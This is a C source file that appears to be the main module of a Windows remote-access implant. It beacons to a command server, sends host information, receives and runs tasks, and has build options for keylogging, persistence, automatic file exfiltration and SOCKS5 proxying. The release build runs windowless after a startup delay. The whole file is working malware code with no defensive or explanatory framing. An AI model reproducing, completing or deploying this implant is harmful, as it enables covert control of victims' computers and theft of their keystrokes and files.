#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "log.h"
#include "config.h"
#include "commands.c"
#include "files.c"
#include "info.c"
#include "modules.c"
#include "navigation.c"
#include "processes.c"
#include "transport.c"

// #include "keylogger.c"
// #include "persistence.c"
// #include "socks5_agent.c"
// #include "socks5_server.c"

// Buffer to store startup tasks result
char startup_result[1024];

LARGE_INTEGER start, end, freq;

#if TESTING_BUILD
    char agent_id[] = "TestAgent";
    char* server_domains[] = {"192.168.1.4"};
    int startup_delay = 0;
    
    #if USE_SCHANNEL
        unsigned short int server_port = 8443;
    #elif USE_HTTP
        unsigned short server_port = 8880;
    #elif USE_WOLFSSL
        unsigned short int server_port = 8443;
    #else 
        unsigned short int server_port = 8888;
    #endif
#else
    char agent_id[] = "PLACEHOLDER_AGENT_ID";
    char* server_domains[] = {"PLACEHOLDER_SERVER_ADDR"};
    unsigned short int server_port = 54321;
    int startup_delay = 1298;
#endif

unsigned short int domain_count = sizeof(server_domains) / sizeof(server_domains[0]);

int reconnect_delay = 5678;
int keylog_delay = 20000;
int files_delay = 17000;
short int first_connection = 1;

#if ENABLE_KEYLOGGER
    HANDLE hKeylogThread = NULL;
    HANDLE hKeylogTimerThread = NULL;
#endif

#if AUTO_FILES
    HANDLE hFilesTimerThread = NULL;
#endif


// Receive response after heartbeat
void ReceiveResponse(Transport* transport) {
    char buffer1[STANDARD_BUFF + 1];
    unsigned char* buffer2 = NULL;
    size_t buffer2_size = 0;

    #if USE_HTTP
        int bytesReceived = transport->recv_alloc(transport->handle, buffer1, &buffer2, sizeof(buffer1) - 1, &buffer2_size);
    #else
        int bytesReceived = transport->recv(transport->handle, buffer1, sizeof(buffer1) - 1);
    #endif

    if (bytesReceived <= 0) {
        printf("Error receiving message from server\n");
        return;
    }
    // buffer1[bytesReceived] = '\0';
    printf("Message from server: %s\n", buffer1);

    // PrintHEX(buffer2, buffer2_size, 32);

    // Check if there is a task to do
    if (strncmp(buffer1, "TASK", 4) == 0) {
        printf("Received task from server\n");
        char* taskID = strtok(buffer1 + 4, "~");
        char* taskType = strtok(NULL, "~");
        char* taskArgs = strtok(NULL, "");
        printf("Task ID: %s\n", taskID);
        printf("Task type: %s\n", taskType);
        printf("Task args: %s\n", taskArgs);
        if (taskType) {
            HandleTask(transport, taskID, taskType, taskArgs, buffer2);
        } else {
            SendTaskResult(transport, "", "Invalid task format\n");
        }
    } else if (strcmp(buffer1, "ACK") == 0) {
        printf("Message acknowledged by server\n");
    }
}

// Check-in with server
void SendHeartbeat(Transport* transport) {
    char heartbeat_message[32];
    snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", agent_id);

    int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
    if (sent <= 0) {
        LOG_ERROR("Error: Failed to send heartbeat, returned %d\n", sent);
        CleanupTransport(transport);
        return;
    }
    LOG("Heartbeat sent successfully, bytes sent: %d\n", sent);
    ReceiveResponse(transport);
}

void start_timer() {
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);
}

void stop_timer() {
    QueryPerformanceCounter(&end);
    double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
    LOG("\nElapsed time: %.6f seconds\n", elapsed);
}

// Window mode to see output
#if TESTING_BUILD
    int main() {
        if (first_connection) {
            LOG("Initial startup delay for %d milliseconds...\n", startup_delay);
            Sleep(startup_delay);
        }

        #if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
            CheckPersistence(startup_result);
        #endif

        #if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
            InitKeylogger(startup_result);
        #endif

        #if AUTO_FILES
            InitFileSender();
        #endif

        // Testing
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            LOG_ERROR("Error: WSAStartup failed, error %d\n", WSAGetLastError());
            return 0;
        }

        // Main loop for communication with server
        while (1) {
            // Testing
            start_timer();

            Transport* transport = InitTransport(GetNextDomain(), server_port);
            if (!transport) {
                LOG("Connection failed. Retrying in %d seconds...\n", reconnect_delay / 1000);
                Sleep(reconnect_delay);
                continue;
            }
            LOG("Connected to server\n");

            if (first_connection) {
                SendSysInfo(startup_result);
                SendTaskResult(transport, "SYSINFO", startup_result);
                first_connection = 0;
            } else {
                LOG("Trying to send heartbeat\n");
                SendHeartbeat(transport);
            }
            CleanupTransport(transport);

            LOG("Disconnecting from server\n");

            // Testing
            stop_timer();

            Sleep(reconnect_delay);
        }
        return 0;
    }
#else 
    // Windows-less mode for operations
    int WINAPI WinMain(
        HINSTANCE hInstance,
        HINSTANCE hPrevInstance,
        LPSTR     lpCmdLine,
        int       nShowCmd
    ) {
        if (first_connection) {
            LOG("Initial startup delay for %d milliseconds...\n", startup_delay);
            Sleep(startup_delay);
        }

        #if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
            CheckPersistence(startup_result);
        #endif

        #if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
            InitKeylogger(startup_result);
        #endif

        #if AUTO_FILES
            InitFileSender();
        #endif

        // Testing
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            LOG_ERROR("Error: WSAStartup failed, error %d\n", WSAGetLastError());
            return 0;
        }

        // Main loop for communication with server
        while (1) {
            // Testing
            start_timer();

            Transport* transport = InitTransport(GetNextDomain(), server_port);
            if (!transport) {
                LOG_ERROR("Connection failed. Retrying in %d seconds...\n", reconnect_delay / 1000);
                Sleep(reconnect_delay);
                continue;
            }
            LOG("Connected to server\n");

            if (first_connection) {
                SendSysInfo(startup_result);
                SendTaskResult(transport, "SYSINFO", startup_result);
                first_connection = 0;
            } else {
                LOG("Trying to send heartbeat\n");
                SendHeartbeat(transport);
            }
            CleanupTransport(transport);

            LOG("Disconnecting from server\n");

            // Testing
            stop_timer();

            Sleep(reconnect_delay);
        }
        return 0;
    }
#endif